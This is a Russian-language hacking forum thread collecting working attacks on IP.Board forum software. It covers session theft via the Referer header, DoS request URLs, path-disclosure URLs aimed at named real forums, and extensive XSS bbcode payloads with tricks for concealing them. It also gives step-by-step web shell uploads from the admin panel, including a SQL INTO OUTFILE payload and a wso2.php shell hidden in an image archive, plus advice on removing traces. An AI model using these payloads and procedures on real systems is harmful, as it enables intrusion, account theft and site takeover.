![]() |
Автор: Elekt
Исходя из адвизори http://acid-root.new.fr/?0:18 есть еще три других существенных бага, не используемых в эксплоите. 1) Утечка админской сессии Идентификатор сессии администратора содержится в HTTP заголовке "Referer" при выборе "Switch between standard and rich text editor". Если атакующий использует удаленный аватар, то становится возможной кража сессии администратора, передаваемая в реферере при обращении к удаленному аватару. 2) Отказ в обслуживании Неправильное использование пост-инкремента в защитной функции разбора массивов. Сервер будет рекурсивно обрабатывать не первые 10 подмассивов, а все. /index.php?foo[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=123 соответственно чем больше скобок, тем дольше будет обработка 3) HTTP Response Splitting attacks INFO[base_url] не определен в конфиге /admin.php?INFO[base_url]=http://phishing-hax.com/ PS Материал востановлен Дата публикации: 02.09.2008, 09:45 Автор Elekt |
Чтение файлов при помощи админки
Автор: Dr.Frank
Чтение файлов при помощи админки(если шелл залить не получилось). Тестил на версиях 2.3.1 2.3.3 В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим: Цитата:
Выполняем следующий запрос: Цитата:
Цитата:
и по адресу http://forum/index.php?act=attach&type=post&id=attach_id должен появиться файл с настройками conf_global.php PS Материал востановлен Дата публикации: 16.09.2008, 15:32 Автор Dr.Frank |
ibStore <= 3.2.0
DOS
http://target/index.php?autocom=store&CODE=item_effect&type=rese ll,BENCHMARK(10000000,BENCHMARK(10000000,md5(curre nt_date))) |
|
Цитата:
|
I.P.B. Раскрытие путей
Код:
http://victim.com/ipb/?&act=attach&code=attach_upload_removePickUp.Ru: Код:
http://www.pickupforum.ru/?&act=attach&code=attach_upload_removeКод:
http://forum.fishki.net/?act=attach&code=attach_upload_remove |
Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5
Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5
Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS. Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612 Однако несколько моментов все же стоит осветить: 1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция. 2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно. 3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится. Объясню на примере: Возьмем структуру вложенных bb-тегов: [*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url] на выходе : <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section= blog&showentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a> Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза. Теперь переделаем это в стиле скрещенных bb-тегов: [*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry] <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section= blog&showentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a> И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет. [*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry] <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section= blog&showentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a> Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится. 1) [*email=user@domain.com]Clickhere![*/email] A) [*email=user@domain.com[*email=user@domain.com][*/email]][*/email] B) [*email=user@domain.com[*font=times]This]Click[*/font] here![*/email] C) [*email=user@domain.com[*color=red]This]Click[*/color] here![*/email] D) [*email=user@domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email] E) [*email=user@domain.com[*member=admin]runs this site.]Clickhere![*/email] F) [*email=user@domain.com[*blog=100]Clickme!]Click[*/blog]here![*/email] G) [*email=user@domain.com[*entry=100]Click_me!]Click[*/entry]here![*/email] 2) [*url]http://www.domain.com[*/url] A) [*url]http://www.domain.com[*email]user@domain.com[*/email][*/url] B) [*url]http://www.domain.com[*email=user@domain.com]Clickhere![*/email][*/url] C) [*url]http://www.domain.com[*size=7]This[*/size][*/url] D) [*url]http://www.domain.com[*font=times]This[*/font][*/url] E) [*url]http://www.domain.com[*color=red]This[*/color][*/url] F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background] G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url] H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url] 3) [*url=http://www.domain.com]Clickhere![*/url] A) [*url=http://www.domain.com[*email=user@domain.com]Clickhere!]Click[*/email]here![*/url] B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url] C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url] D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url] E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url] F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url] G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url] 4) [*font=times]This[*/font] A) [*font=times[*font=times]This[*/font]]This[*/font] B) [*font=times[*member=admin]runs this site.]This[*/font] C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font] D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font] 5) [*color=red]This[*/color] A) [*color=red[*color=red]This[*/color]]This[*/color] B) [*color=red[*font=times]This]Th[*/font]is[*/color] C) [*color=red[*member=admin]runs this site.]This[*/color] D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color] E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color] 6) [*topic=100]Clickme![*/topic] A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic] B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic] C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic] D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic] E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic] F) [*topic=100[*email=user@domain.com]Clickhere!]Clickme![*/topic][*/email] G) [*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic] H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic] I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic] J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic] K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic] 7) [*post=100]Clickme![*/post] A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post] B) [*post=100[*email=user@domain.com]][*/post][*/email] C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post] D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post] E) [*post=100[*member=admin]runs this site.]Clickme![*/post] F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog] G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post] 8) [*acronym='Laugh Out Loud']lol[*/acronym] A) [*acronym='Laugh Out Loud[*email=user@domain.com]Clickhere!']lol[*/email][*/acronym] B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym] C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym] D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym] E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym] F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym] G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow] H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym] 9) [*background=red]Red_background_behind_this_text[*/background] A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background] B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background] C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background] D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background] E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background] F) [*background=red[*entry=100]]Red[*/entry][*/background] LeverOne. 17.12.2009 |
Залитие шелла в IPB 3 из админпанели (тестилось на IPB 3.0.1 nulled):
вариант1: Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php' полный путь можно посмотреть так: ->Поддержка, там будет сверху написана версия PHP и слева ссылка на PHP INFO шелл: http://site.ru/uploads/shell.php PS: Нужны соответствующие права вариант2: Форумы->Прикрепляемые файлы->Типы файлов жмем "Добавить новый тип"->"Использовать какой-нибудь тип как базовый?" - выбираем "Основан на типе php"->"Расширение прикрепляемого файла" - php3 (просто php есть в списке по умолчанию и при загрузке автоматически переименовывается в .txt)->"MIME-тип файла" - unknown/unknown->"Разрешить использовать этот тип файлов, как аватар или фотографию?" - да. Топаем в свой профиль: http://site.ru/index.php?app=core&module=usercp&tab=members&area= avatar грузим аву-шелл с расширением php3 и получаем шелл по адресу: http://site.ru/uploads/av-1.php3 ==================================== Раскрытие пути: Код:
http://site.ru/index.php?app[]=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=1Код:
Warning: Constants may only evaluate to scalar values in Z:\home\site.ru\www\admin\sources\base\ipsRegistry.php on line 1400Код:
http://site.ru/index.php?app=core&module=usercp&tab[]=forums&area=watch&watch=topic&do=list&tid=1Код:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\sources\base\core.php on line 2141Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key[]=members_display_name&sort_order=asc&max_results=20&app=members§ion=view&module=list&quickjump=AКод:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 234Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order[]=asc&max_results=20&app=members§ion=view&module=list&quickjump=AКод:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 235Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results[]=20&app=members§ion=view&module=list&quickjump=AКод:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 237Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results=20&app=members§ion=view&module=list&quickjump[]=AКод:
Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 297 |
Множественные уязвимости I.P.B. Вообще, IPB кишит всяческими ошибками. В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив. Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие... XSS тоже можно накопать немало. Уязвимость: активная XSS.
|
Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) - еще один вариант по аналогии с этим постом:
https://forum.antichat.ru/showpost.php?p=977862&postcount=10 но небольшие изменения: 1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый 2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master" 3. Идем в нашу папочку (на примере Denwer) C:\WebServers\home\drup614.ru\www\public\style_ima ges\master и суем туда наш любимый wso2.php 4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz 5. В архиве файлик images-master.xml Переименовываем архив! таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" - images-master2.xml.gz, название файлика в архиве сменится автоматом 6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений Рядом с C:\WebServers\home\drup614.ru\www\public\style_ima ges\master появится C:\WebServers\home\drup614.ru\www\public\style_ima ges\master2 где будет лежать все тоже самое, плюс наш шелл в итоге шелл будет по адресу: http://forum.site.ru/public/style_images/master2/wso2.php PS: не забудьте потом переместить шелл и удалить каталог master2 Готовый архив с картинками и шеллом можно взять тут , останется только изменить циферку |
| Время: 10:31 |